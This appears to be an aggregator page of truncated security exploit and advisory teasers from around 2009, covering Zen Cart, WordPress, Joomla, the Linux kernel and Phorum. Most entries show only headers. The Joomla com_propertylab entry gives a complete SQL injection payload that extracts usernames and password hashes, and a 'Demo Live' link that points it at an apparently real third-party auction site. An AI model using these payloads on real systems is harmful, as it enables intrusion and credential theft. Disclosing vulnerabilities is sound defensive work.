#!/usr/bin/python
#
# ——- Zen Cart 1.3.8 Remote SQL Execution
# http://www.zen-cart.com/
# Zen Cart Ecommerce - putting the dream of server rooting within
reach of anyone!
# A new version (1.3.8a) is avaible on http://www.zen-cart.com/
#
# BlackH
#
#
# Notes: must have admin/sqlpatch.php enabled
#
# clean the database :
# DELETE FROM `record_company_info` WHERE `record_company_id` =
(SELECT `record_company_id` FROM `record_company` WHERE `
record_company_image` = ‘8d317.php’ LIMIT 1);
# DELETE [...]

Continue reading...

—–BEGIN PGP SIGNED MESSAGE—–
Hash: SHA1
Core Security Technologies - CoreLabs Advisory
http://www.coresecurity.com/corelabs/
WordPress Privileges Unchecked in admin.php and Multiple Information
Disclosures
1. *Advisory Information*
Title: WordPress Privileges Unchecked in admin.php and Multiple
Information Disclosures
Advisory ID: CORE-2009-0515
Advisory URL:
http://corelabs.coresecurity.com/index.php?action=view&type=advisory&name=WordPress_Privileges_Unchecked
Date published: 2009-07-08
Date of last update: 2009-07-08
Vendors contacted: WordPress
Release mode: Coordinated release
2. *Vulnerability Information*
Class: Local file include, Privileges unchecked, Cross site scripting
(XSS), Information disclosure
Remotely Exploitable: Yes
Locally [...]

Continue reading...

————————————————————————–
Joomla Component com_propertylab (auction_id) SQL injection Vulnerability
————————————————————————–
###################################################
[+] Author : Chip D3 Bi0s
[+] Email : chipdebios[alt+64]gmail.com
[+] Group : LatinHackTeam
[+] Vulnerability : SQL injection
###################################################
Example:
http://localHost/path/index.php?option=com_propertylab&task=propertysearch&type=forsale&minprice=1&start=0&perpage=20&auction_id=26<Sql Code>
<Sql Code>:
+and+1=2+union+select+1,2,3,4,5,6,concat(username,0×3a,password)+from+jos_users
Demo Live (1):
http://www.grahampennyauctions.com/index.php?option=com_propertylab&task=propertysearch&type=forsale&minprice=1&start=0&perpage=20&auction_id=26+and+1=2+union+select+1,2,3,4,5,6,concat(username,0×3a,password)+from+jos_users
Thanks for all [...]

Continue reading...

/* super fun 2.6.30+/RHEL5 2.6.18 local kernel exploit in /dev/net/tun
A vulnerability which, when viewed at the source level, is unexploitable!
But which, thanks to gcc optimizations, becomes exploitable
Also, bypass of mmap_min_addr via SELinux vulnerability!
(where having SELinux enabled actually increases your risk against a
large class of kernel vulnerabilities)
for 2.6.30 without SELinux enabled, compile with:
cc -fPIC -fno-stack-protector [...]

Continue reading...

//—– Advisory
Program : Phorum 5.2.11 and prior
Homepage : http://www.phorum.org/
Discovery : 2009/07/16
Author Contacted : 2009/07/17
Found by : CrashFr
This Advisory : CrashFr
//—– [...]

Continue reading...